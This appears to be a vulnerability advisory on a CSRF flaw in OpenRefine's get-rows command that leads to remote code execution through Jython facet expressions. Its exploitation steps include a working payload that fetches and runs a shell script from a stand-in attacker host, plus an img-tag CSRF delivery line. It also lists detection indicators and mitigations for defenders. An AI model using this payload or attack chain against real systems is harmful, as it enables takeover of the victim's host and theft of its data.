CVE-2026-108553: 
Linux Debian vulnerability analysis and mitigation

CVE-2026-108553 is a Cross-Site Request Forgery (CSRF) vulnerability in OpenRefine's get-rows command that enables remote attackers to execute arbitrary Jython facet expressions, ultimately achieving remote code execution (RCE). It affects OpenRefine through version 3.10.1. The vulnerability was published on October 10, 2026, with a patch made available the same day. It carries a CVSS v3.1 base score of 7.5 (High) and a CVSS v4.0 base score of 7.7 (High) (GitHub Advisory, VulnCheck Advisory).

The root cause is a missing CSRF protection on the get-rows command handler (GetRowsCommand.java), which explicitly accepts both GET and POST requests and is documented as not CSRF-protected because it was assumed to be read-only (OpenRefine Source). However, the engine parameter passed to this command is deserialized into facet configurations, including ListFacet, which evaluates arbitrary expressions via MetaParser (ListFacet Source). When a Jython-prefixed expression is supplied, it is executed by JythonEvaluable, which runs arbitrary Python code via a PythonInterpreter with no sandboxing (JythonEvaluable Source). The attack requires luring an authenticated OpenRefine user to a malicious page that issues a cross-origin GET request with a crafted engine parameter containing a Jython OS command payload (CWE-352) (GitHub Advisory).

Successful exploitation allows an unauthenticated remote attacker to execute arbitrary operating system commands with the privileges of the OpenRefine user process, resulting in full confidentiality, integrity, and availability compromise of the host system. An attacker can read or exfiltrate sensitive data loaded into OpenRefine projects, modify or destroy data, install backdoors, or pivot to other systems accessible from the OpenRefine host. Because OpenRefine is typically run locally or on internal networks by data analysts, exploitation could expose sensitive research, journalistic, or organizational datasets (VulnCheck Advisory, GitHub Advisory).

As of the disclosure date, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (GitHub Advisory). No threat actor attribution has been reported. The EPSS score is approximately 0.185%, indicating a low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction — specifically, a victim with an active OpenRefine session must visit a malicious page — which raises the bar for mass exploitation but does not eliminate targeted attack risk.

1. Reconnaissance: Identify a target running OpenRefine ≤ 3.10.1, typically accessible on http://127.0.0.1:4333 (default local binding) or on an internal network. Confirm the Jython extension is enabled (it is bundled by default).
2. Craft malicious engine parameter: Construct a JSON payload for the engine parameter that defines a ListFacet with a Jython expression, e.g.:

{"facets":[{"type":"list","name":"x","columnName":"","expression":"jython:import os; os.system('curl http://attacker.com/shell.sh | sh')","invert":false,"omitBlank":false,"omitError":false,"selection":[],"selectBlank":false,"selectError":false}],"mode":"row-based"}

3. Host malicious page: Create an attacker-controlled web page that issues a cross-origin GET request to the victim's OpenRefine instance, e.g.:

<img src="http://127.0.0.1:4333/command/core/get-rows?project=<PROJECT_ID>&start=0&limit=1&engine=<URL_ENCODED_PAYLOAD>">

4. Lure the victim: Send the malicious page URL to a user who has an active OpenRefine session (e.g., via phishing email or malicious link).
5. Achieve code execution: When the victim's browser loads the page, it sends the GET request to OpenRefine. The server deserializes the engine parameter, evaluates the Jython expression via JythonEvaluable, and executes the OS command as the OpenRefine process user (VulnCheck Advisory, JythonEvaluable Source).

• Network: Unexpected outbound connections from the OpenRefine host to external IPs or domains shortly after a user session; GET requests to /command/core/get-rows containing a URL-encoded engine parameter with jython: prefix and OS-related keywords (e.g., os.system, subprocess, import os).
• Logs: OpenRefine access logs showing GET requests to /command/core/get-rows with unusually long or encoded engine parameters originating from cross-origin browser requests; Jython interpreter log entries (logger: jython) showing unexpected function execution.
• Process: Unexpected child processes spawned by the OpenRefine Java process (e.g., sh, bash, cmd.exe, curl, wget, python) visible in process trees.
• File System: New or modified files in the OpenRefine working directory or user home directory created by the OpenRefine process user; presence of downloaded scripts or binaries not associated with normal OpenRefine operation.

Upgrade OpenRefine to a version newer than 3.10.1, which contains the patch for this vulnerability (GitHub Advisory). As interim mitigations, implement SameSite=Strict or SameSite=Lax cookie attributes on the OpenRefine session cookie to prevent cross-origin requests from carrying credentials. Additionally, restrict OpenRefine to listen only on localhost (its default) and avoid exposing it on network interfaces accessible to untrusted users. Educate users to avoid clicking suspicious links while an OpenRefine session is active (VulnCheck Advisory).

The vulnerability was assigned and disclosed by VulnCheck and published to the GitHub Advisory Database on October 10, 2026 (GitHub Advisory). Brief community mentions appeared on Mastodon via the CVE bot account and The Hacker Wire shortly after disclosure. No significant vendor blog posts, major media coverage, or notable researcher commentary beyond the initial advisory have been identified at this time.